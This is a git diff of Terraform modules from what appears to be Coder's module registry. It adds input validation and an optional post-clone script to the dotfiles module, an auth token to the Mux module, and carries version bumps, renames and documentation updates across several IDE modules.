).rejects.toThrow();
|
||||
}
|
||||
});
|
||||
|
||||
it("set custom order for coder_parameter", async () => {
|
||||
|
||||
@@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
|
||||
type = string
|
||||
description = "The default dotfiles URI if the workspace user does not provide one"
|
||||
default = ""
|
||||
|
||||
validation {
|
||||
condition = (
|
||||
var.default_dotfiles_uri == "" ||
|
||||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri))
|
||||
)
|
||||
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "dotfiles_uri" {
|
||||
type = string
|
||||
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
|
||||
default = null
|
||||
|
||||
default = null
|
||||
validation {
|
||||
condition = (
|
||||
var.dotfiles_uri == null ||
|
||||
var.dotfiles_uri == "" ||
|
||||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri))
|
||||
)
|
||||
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "user" {
|
||||
type = string
|
||||
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
|
||||
default = null
|
||||
|
||||
validation {
|
||||
condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
|
||||
error_message = "Must be a valid username without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "coder_parameter_order" {
|
||||
@@ -63,6 +84,12 @@ variable "manual_update" {
|
||||
default = false
|
||||
}
|
||||
|
||||
variable "post_clone_script" {
|
||||
description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied."
|
||||
type = string
|
||||
default = null
|
||||
}
|
||||
|
||||
data "coder_parameter" "dotfiles_uri" {
|
||||
count = var.dotfiles_uri == null ? 1 : 0
|
||||
type = "string"
|
||||
@@ -73,18 +100,25 @@ data "coder_parameter" "dotfiles_uri" {
|
||||
description = var.description
|
||||
mutable = true
|
||||
icon = "/icon/dotfiles.svg"
|
||||
|
||||
validation {
|
||||
regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$"
|
||||
error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
locals {
|
||||
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
|
||||
user = var.user != null ? var.user : ""
|
||||
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
|
||||
user = var.user != null ? var.user : ""
|
||||
encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : ""
|
||||
}
|
||||
|
||||
resource "coder_script" "dotfiles" {
|
||||
agent_id = var.agent_id
|
||||
script = templatefile("${path.module}/run.sh", {
|
||||
DOTFILES_URI : local.dotfiles_uri,
|
||||
DOTFILES_USER : local.user
|
||||
DOTFILES_USER : local.user,
|
||||
POST_CLONE_SCRIPT : local.encoded_post_clone_script
|
||||
})
|
||||
display_name = "Dotfiles"
|
||||
icon = "/icon/dotfiles.svg"
|
||||
@@ -101,7 +135,8 @@ resource "coder_app" "dotfiles" {
|
||||
group = var.group
|
||||
command = templatefile("${path.module}/run.sh", {
|
||||
DOTFILES_URI : local.dotfiles_uri,
|
||||
DOTFILES_USER : local.user
|
||||
DOTFILES_USER : local.user,
|
||||
POST_CLONE_SCRIPT : local.encoded_post_clone_script
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -5,6 +5,19 @@ set -euo pipefail
|
||||
DOTFILES_URI="${DOTFILES_URI}"
|
||||
DOTFILES_USER="${DOTFILES_USER}"
|
||||
|
||||
# Validate DOTFILES_URI to prevent command injection (defense in depth)
|
||||
if [ -n "$DOTFILES_URI" ]; then
|
||||
# shellcheck disable=SC2250
|
||||
if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
|
||||
echo "ERROR: DOTFILES_URI contains invalid characters" >&2
|
||||
exit 1
|
||||
fi
|
||||
if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
|
||||
echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# shellcheck disable=SC2157
|
||||
if [ -n "$${DOTFILES_URI// }" ]; then
|
||||
if [ -z "$DOTFILES_USER" ]; then
|
||||
@@ -16,12 +29,28 @@ if [ -n "$${DOTFILES_URI// }" ]; then
|
||||
if [ "$DOTFILES_USER" = "$USER" ]; then
|
||||
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
|
||||
else
|
||||
# The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
|
||||
# eval echo ~coder -> "/home/coder"
|
||||
# eval echo ~root -> "/root"
|
||||
if command -v getent > /dev/null 2>&1; then
|
||||
DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
|
||||
else
|
||||
DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
|
||||
fi
|
||||
if [ -z "$DOTFILES_USER_HOME" ]; then
|
||||
echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
CODER_BIN=$(which coder)
|
||||
DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
|
||||
sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
|
||||
CODER_BIN=$(command -v coder)
|
||||
sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
|
||||
fi
|
||||
fi
|
||||
|
||||
POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}"
|
||||
|
||||
if [ -n "$POST_CLONE_SCRIPT" ]; then
|
||||
echo "Running post-clone script..."
|
||||
POST_CLONE_TMP=$(mktemp)
|
||||
echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP"
|
||||
chmod +x "$POST_CLONE_TMP"
|
||||
$POST_CLONE_TMP
|
||||
rm "$POST_CLONE_TMP"
|
||||
fi
|
||||
|
||||
@@ -42,7 +42,7 @@ module "jetbrains" {
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
default = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA
|
||||
default = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and
|
||||
module "kasmvnc" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kasmvnc/coder"
|
||||
version = "1.2.7"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
desktop_environment = "xfce"
|
||||
subdomain = true
|
||||
|
||||
@@ -54,6 +54,15 @@ variable "subdomain" {
|
||||
description = "Is subdomain sharing enabled in your cluster?"
|
||||
}
|
||||
|
||||
variable "share" {
|
||||
type = string
|
||||
default = "owner"
|
||||
validation {
|
||||
condition = var.share == "owner" || var.share == "authenticated" || var.share == "public"
|
||||
error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
|
||||
}
|
||||
}
|
||||
|
||||
resource "coder_script" "kasm_vnc" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "KasmVNC"
|
||||
@@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" {
|
||||
url = "http://localhost:${var.port}"
|
||||
icon = "/icon/kasmvnc.svg"
|
||||
subdomain = var.subdomain
|
||||
share = "owner"
|
||||
share = var.share
|
||||
order = var.order
|
||||
group = var.group
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "kiro" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kiro/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -31,7 +31,7 @@ module "kiro" {
|
||||
module "kiro" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kiro/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti
|
||||
module "kiro" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kiro/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -53,7 +53,7 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ Automatically install and run [Mux](https://github.com/coder/mux) in a Coder wor
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -37,7 +37,7 @@ module "mux" {
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -48,7 +48,7 @@ module "mux" {
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
# Default is "latest"; set to a specific version to pin
|
||||
install_version = "0.4.0"
|
||||
@@ -63,7 +63,7 @@ Start Mux with `mux server --add-project /path/to/project`:
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
add-project = "/path/to/project"
|
||||
}
|
||||
@@ -75,7 +75,7 @@ module "mux" {
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
port = 8080
|
||||
}
|
||||
@@ -89,7 +89,7 @@ Run an existing copy of Mux if found, otherwise install from npm:
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
use_cached = true
|
||||
}
|
||||
@@ -103,7 +103,7 @@ Run without installing from the network (requires Mux to be pre-installed):
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.8"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
install = false
|
||||
}
|
||||
|
||||
@@ -7,6 +7,10 @@ terraform {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.5"
|
||||
}
|
||||
random = {
|
||||
source = "hashicorp/random"
|
||||
version = ">= 3.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -113,6 +117,22 @@ variable "open_in" {
|
||||
}
|
||||
}
|
||||
|
||||
# Per-module auth token for cross-site request protection.
|
||||
# We pass this token into each mux process at launch time (process-scoped env)
|
||||
# and include it in the app URL query string (?token=...).
|
||||
#
|
||||
# Why process-scoped env instead of a shared coder_env value:
|
||||
# multiple mux module instances can target the same agent (different slug/port).
|
||||
# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions.
|
||||
resource "random_password" "mux_auth_token" {
|
||||
length = 64
|
||||
special = false
|
||||
}
|
||||
|
||||
locals {
|
||||
mux_auth_token = random_password.mux_auth_token.result
|
||||
}
|
||||
|
||||
resource "coder_script" "mux" {
|
||||
agent_id = var.agent_id
|
||||
display_name = var.display_name
|
||||
@@ -125,6 +145,7 @@ resource "coder_script" "mux" {
|
||||
INSTALL_PREFIX : var.install_prefix,
|
||||
OFFLINE : !var.install,
|
||||
USE_CACHED : var.use_cached,
|
||||
AUTH_TOKEN : local.mux_auth_token,
|
||||
})
|
||||
run_on_start = true
|
||||
|
||||
@@ -140,7 +161,7 @@ resource "coder_app" "mux" {
|
||||
agent_id = var.agent_id
|
||||
slug = var.slug
|
||||
display_name = var.display_name
|
||||
url = "http://localhost:${var.port}"
|
||||
url = "http://localhost:${var.port}?token=${local.mux_auth_token}"
|
||||
icon = "/icon/mux.svg"
|
||||
subdomain = var.subdomain
|
||||
share = var.share
|
||||
@@ -154,5 +175,3 @@ resource "coder_app" "mux" {
|
||||
threshold = 6
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" {
|
||||
]
|
||||
}
|
||||
|
||||
# Needs command = apply because the URL contains random_password.result,
|
||||
# which is unknown during plan.
|
||||
run "custom_port" {
|
||||
command = plan
|
||||
command = apply
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
@@ -29,8 +31,51 @@ run "custom_port" {
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = resource.coder_app.mux.url == "http://localhost:8080"
|
||||
error_message = "coder_app URL must use the configured port"
|
||||
condition = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=")
|
||||
error_message = "coder_app URL must use the configured port and include auth token"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result
|
||||
error_message = "URL token must match the generated auth token"
|
||||
}
|
||||
}
|
||||
|
||||
# Needs command = apply because random_password.result is unknown during plan.
|
||||
run "auth_token_in_server_script" {
|
||||
command = apply
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=")
|
||||
error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result)
|
||||
error_message = "mux launch script must use the generated auth token"
|
||||
}
|
||||
}
|
||||
|
||||
# Needs command = apply because random_password.result is unknown during plan.
|
||||
run "auth_token_in_url" {
|
||||
command = apply
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=")
|
||||
error_message = "coder_app URL must include auth token query parameter"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result
|
||||
error_message = "URL token must match the generated auth token"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -62,5 +107,3 @@ run "use_cached_only_success" {
|
||||
use_cached = true
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -9,7 +9,9 @@ function run_mux() {
|
||||
rm -f "$HOME/.mux/server.lock"
|
||||
|
||||
local port_value
|
||||
local auth_token_value
|
||||
port_value="${PORT}"
|
||||
auth_token_value="${AUTH_TOKEN}"
|
||||
if [ -z "$port_value" ]; then
|
||||
port_value="4000"
|
||||
fi
|
||||
@@ -20,7 +22,7 @@ function run_mux() {
|
||||
fi
|
||||
echo "🚀 Starting mux server on port $port_value..."
|
||||
echo "Check logs at ${LOG_PATH}!"
|
||||
PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
|
||||
MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
|
||||
}
|
||||
|
||||
# Check if mux is already installed for offline mode
|
||||
|
||||
@@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo
|
||||
```tf
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
web_app_icon = "/icon/code.svg"
|
||||
web_app_slug = "vscode"
|
||||
web_app_display_name = "VS Code Desktop"
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
coder_app_icon = "/icon/code.svg"
|
||||
coder_app_slug = "vscode"
|
||||
coder_app_display_name = "VS Code Desktop"
|
||||
coder_app_order = var.order
|
||||
coder_app_group = var.group
|
||||
|
||||
folder = var.folder
|
||||
open_recent = var.open_recent
|
||||
|
||||
@@ -11,9 +11,9 @@ const appName = "vscode-desktop";
|
||||
const defaultVariables = {
|
||||
agent_id: "foo",
|
||||
|
||||
web_app_icon: "/icon/code.svg",
|
||||
web_app_slug: "vscode",
|
||||
web_app_display_name: "VS Code Desktop",
|
||||
coder_app_icon: "/icon/code.svg",
|
||||
coder_app_slug: "vscode",
|
||||
coder_app_display_name: "VS Code Desktop",
|
||||
|
||||
protocol: "vscode",
|
||||
};
|
||||
@@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => {
|
||||
);
|
||||
|
||||
expect(coder_app?.instances[0].attributes.slug).toBe(
|
||||
defaultVariables.web_app_slug,
|
||||
defaultVariables.coder_app_slug,
|
||||
);
|
||||
expect(coder_app?.instances[0].attributes.display_name).toBe(
|
||||
defaultVariables.web_app_display_name,
|
||||
defaultVariables.coder_app_display_name,
|
||||
);
|
||||
});
|
||||
|
||||
it("sets order", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
web_app_order: "5",
|
||||
coder_app_order: "5",
|
||||
|
||||
...defaultVariables,
|
||||
});
|
||||
@@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => {
|
||||
|
||||
it("sets group", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
web_app_group: "web-app-group",
|
||||
coder_app_group: "web-app-group",
|
||||
|
||||
...defaultVariables,
|
||||
});
|
||||
|
||||
@@ -31,28 +31,28 @@ variable "protocol" {
|
||||
description = "The URI protocol the IDE."
|
||||
}
|
||||
|
||||
variable "web_app_icon" {
|
||||
variable "coder_app_icon" {
|
||||
type = string
|
||||
description = "The icon of the coder_app."
|
||||
}
|
||||
|
||||
variable "web_app_slug" {
|
||||
variable "coder_app_slug" {
|
||||
type = string
|
||||
description = "The slug of the coder_app."
|
||||
}
|
||||
|
||||
variable "web_app_display_name" {
|
||||
variable "coder_app_display_name" {
|
||||
type = string
|
||||
description = "The display name of the coder_app."
|
||||
}
|
||||
|
||||
variable "web_app_order" {
|
||||
variable "coder_app_order" {
|
||||
type = number
|
||||
description = "The order of the coder_app."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "web_app_group" {
|
||||
variable "coder_app_group" {
|
||||
type = string
|
||||
description = "The group of the coder_app."
|
||||
default = null
|
||||
@@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" {
|
||||
agent_id = var.agent_id
|
||||
external = true
|
||||
|
||||
icon = var.web_app_icon
|
||||
slug = var.web_app_slug
|
||||
display_name = var.web_app_display_name
|
||||
icon = var.coder_app_icon
|
||||
slug = var.coder_app_slug
|
||||
display_name = var.coder_app_display_name
|
||||
|
||||
order = var.web_app_order
|
||||
group = var.web_app_group
|
||||
order = var.coder_app_order
|
||||
group = var.coder_app_group
|
||||
|
||||
url = join("", [
|
||||
var.protocol,
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "vscode" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-desktop/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "vscode" {
|
||||
module "vscode" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-desktop/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
|
||||
@@ -40,7 +40,7 @@ variable "group" {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -1,5 +1,13 @@
|
||||
import { describe, expect, it } from "bun:test";
|
||||
import { runTerraformApply, runTerraformInit } from "~test";
|
||||
import {
|
||||
execContainer,
|
||||
findResourceInstance,
|
||||
readFileContainer,
|
||||
removeContainer,
|
||||
runContainer,
|
||||
runTerraformApply,
|
||||
runTerraformInit,
|
||||
} from "~test";
|
||||
|
||||
describe("vscode-web", async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
@@ -38,5 +46,52 @@ describe("vscode-web", async () => {
|
||||
expect(t).toThrow("Offline mode does not allow extensions to be installed");
|
||||
});
|
||||
|
||||
// More tests depend on shebang refactors
|
||||
it("writes settings to User settings path not Machine", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: "true",
|
||||
offline: "true",
|
||||
});
|
||||
const instance = findResourceInstance(state, "coder_script");
|
||||
// Verify the script uses User path, not Machine path
|
||||
expect(instance.script).toContain(".vscode-server/data/User/settings.json");
|
||||
expect(instance.script).not.toContain(
|
||||
".vscode-server/data/Machine/settings.json",
|
||||
);
|
||||
});
|
||||
|
||||
it("writes provided settings to ~/.vscode-server/data/User/settings.json", async () => {
|
||||
const id = await runContainer("alpine");
|
||||
try {
|
||||
const settings = {
|
||||
"editor.fontSize": 16,
|
||||
"workbench.colorTheme": "Default Dark+",
|
||||
};
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: "true",
|
||||
offline: "true",
|
||||
settings: JSON.stringify(settings),
|
||||
});
|
||||
const instance = findResourceInstance(state, "coder_script");
|
||||
// Extract and run only the settings portion of the script
|
||||
const settingsScript = `
|
||||
SETTINGS='${JSON.stringify(settings).replace(/'/g, "'\\''")}'
|
||||
if [ ! -f ~/.vscode-server/data/User/settings.json ]; then
|
||||
mkdir -p ~/.vscode-server/data/User
|
||||
echo "$SETTINGS" > ~/.vscode-server/data/User/settings.json
|
||||
fi
|
||||
`;
|
||||
const resp = await execContainer(id, ["sh", "-c", settingsScript]);
|
||||
expect(resp.exitCode).toBe(0);
|
||||
const content = await readFileContainer(
|
||||
id,
|
||||
"/root/.vscode-server/data/User/settings.json",
|
||||
);
|
||||
const actualSettings = JSON.parse(content.trim());
|
||||
expect(actualSettings).toEqual(settings);
|
||||
} finally {
|
||||
await removeContainer(id);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -29,10 +29,10 @@ run_vscode_web() {
|
||||
}
|
||||
|
||||
# Check if the settings file exists...
|
||||
if [ ! -f ~/.vscode-server/data/Machine/settings.json ]; then
|
||||
if [ ! -f ~/.vscode-server/data/User/settings.json ]; then
|
||||
echo "⚙️ Creating settings file..."
|
||||
mkdir -p ~/.vscode-server/data/Machine
|
||||
echo "${SETTINGS}" > ~/.vscode-server/data/Machine/settings.json
|
||||
mkdir -p ~/.vscode-server/data/User
|
||||
echo "${SETTINGS}" > ~/.vscode-server/data/User/settings.json
|
||||
fi
|
||||
|
||||
# Check if vscode-server is already installed for offline or cached mode
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "windsurf" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/windsurf/coder"
|
||||
version = "1.3.0"
|
||||
version = "1.3.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "windsurf" {
|
||||
module "windsurf" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/windsurf/coder"
|
||||
version = "1.3.0"
|
||||
version = "1.3.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth
|
||||
module "windsurf" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/windsurf/coder"
|
||||
version = "1.3.0"
|
||||
version = "1.3.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -65,7 +65,7 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -27,8 +27,21 @@ This template provisions the following resources:
|
||||
|
||||
- Azure VM (ephemeral, deleted on stop)
|
||||
- Managed disk (persistent, mounted to `/home/coder`)
|
||||
- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM)
|
||||
|
||||
This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
|
||||
### What happens on stop
|
||||
|
||||
When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them.
|
||||
|
||||
This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior.
|
||||
|
||||
### What happens on delete
|
||||
|
||||
When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk.
|
||||
|
||||
### Workspace restarts
|
||||
|
||||
Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
|
||||
|
||||
> [!NOTE]
|
||||
> This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case.
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "positron" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/cytoshahar/positron/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "positron" {
|
||||
module "positron" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/cytoshahar/positron/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
|
||||
@@ -41,13 +41,13 @@ variable "group" {
|
||||
variable "slug" {
|
||||
type = string
|
||||
description = "The slug of the app."
|
||||
default = "cursor"
|
||||
default = "positron"
|
||||
}
|
||||
|
||||
variable "display_name" {
|
||||
type = string
|
||||
description = "The display name of the app."
|
||||
default = "Cursor Desktop"
|
||||
default = "Positron Desktop"
|
||||
}
|
||||
|
||||
data "coder_workspace" "me" {}
|
||||
@@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {}
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
Reference in New Issue
Block a user